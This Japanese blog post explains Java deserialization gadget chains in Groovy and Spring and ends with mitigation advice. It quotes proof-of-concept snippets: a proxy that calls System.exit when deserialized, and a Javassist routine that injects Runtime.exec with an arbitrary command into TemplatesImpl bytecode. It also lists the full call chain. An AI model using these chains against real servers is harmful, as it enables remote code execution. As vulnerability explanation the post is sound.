昨日の記事の続きです。
昨日はcommons-collectionsについて、どのような仕組みで攻撃が成功しうるかを書きました。
しかしこの問題はcommons-collections限定ではなく、GroovyまたはSpringFrameworkのクラスをロードしている環境でも起こりえます。
攻撃が成立する条件
攻撃のキーとなるのは2点。
この条件を満たすクラスは、commons-collectionsではInvokerTransformerが該当しましたが、
- Groovy: MethodClosure
- 2.4.4以降は非直列化が禁止されたのでセーフ(readObjectで例外をスロー)
- Spring: SerializableTypeWrapper.MethodInvokeTypeProvider
が似たような機能を持ちます。
POCのコードを見ると分かるのですが、実際の攻撃ではこの他にも特殊なクラスを用います。
- sun.reflect.annotation.AnnotationInvocationHandler
- 任意に実装したInvocationHandlerに等しい振る舞い*1を提供する
- com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
Groovy編
攻撃の要は、ConvertedClosureとMethodClosureの華麗な連携です。 ConvertedClosureはjava.lang.reflect.InvocationHandlerのインスタンスでもあるので、POCのコードにある通りに、
import org.codehaus.groovy.runtime.ConvertedClosure; import org.codehaus.groovy.runtime.MethodClosure; final InvocationHandler handler = new ConvertedClosure( new MethodClosure(System.class, "exit"), "entrySet"); final Map shutdownOnEntrySet = Proxy.newProxyInstance( Object.class.getClassLoader(), new Class[] { Map.class }, handler);
というプロキシオブジェクトをサーバへ送りつけると、受けた側でshutdownOnEntrySet.entrySet()を呼び出した瞬間にSystem#exitが実行されます。
更に、
Object shutdownOnDeserialize = enforceInstantiateNonPublicClass(
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"),
new Object[]{
Override.class, // アノテーションクラスなら何でも良い
shutdownOnEntrySet
}
);
というオブジェクトをサーバへ送りつけると、受けた側でデシリアライズした瞬間にSystem#exitが実行されるようにできます。
AnnotationInvocationHandler#readObjectの内部でshutdownOnEntrySet.entrySet()を呼び出しているからです。
Spring編
攻撃の要は、TemplatesImplに任意のクラスのバイトコードをぶち込み、クラスのスタティックイニシャライザ経由で任意のコマンドが実行されるようにしていることです。 POCではこのように、Javassistで動的にクラスを作っています。
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception { final TemplatesImpl templates = new TemplatesImpl(); // use template gadget class ClassPool pool = ClassPool.getDefault(); ... // run command in static initializer clazz.makeClassInitializer().insertAfter( "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");"); ... final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class)}); ... return templates; }
あとは、何とかしてTemplatesImpl#newTransformerをサーバ側で実行させればよいわけですが、
そこに至るルートは次の通りです。
ObjectInputStream.readObject()
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke() // ←TypeかつTemplatesのプロキシを返す
Method.invoke() // ←Templatesのメソッド呼び出し
Templates(Proxy).newTransformer()
AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
// ObjectFactory.getObjectの戻り値はバイトコードを仕込んだTemplatesImpl
ObjectFactory(Proxy).getObject()
AnnotationInvocationHandler.invoke()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()
よくもまぁこんな複雑なルートを見つけたものだと、ある意味感心します。
対応策は?
GroovyとSpringのどちらも対応版が近日中にリリースされる模様なので、そちらへ更新する以外は無いと思います。
しかし根本的な対応策は前回の記事で書いた通り、 そもそも、信頼出来ないクライアントから直列化オブジェクトを受け取らない しかありません。 オブジェクト直列化に関連した脆弱性は、これからも出てきます。場当たり的な対応はやめるべきです。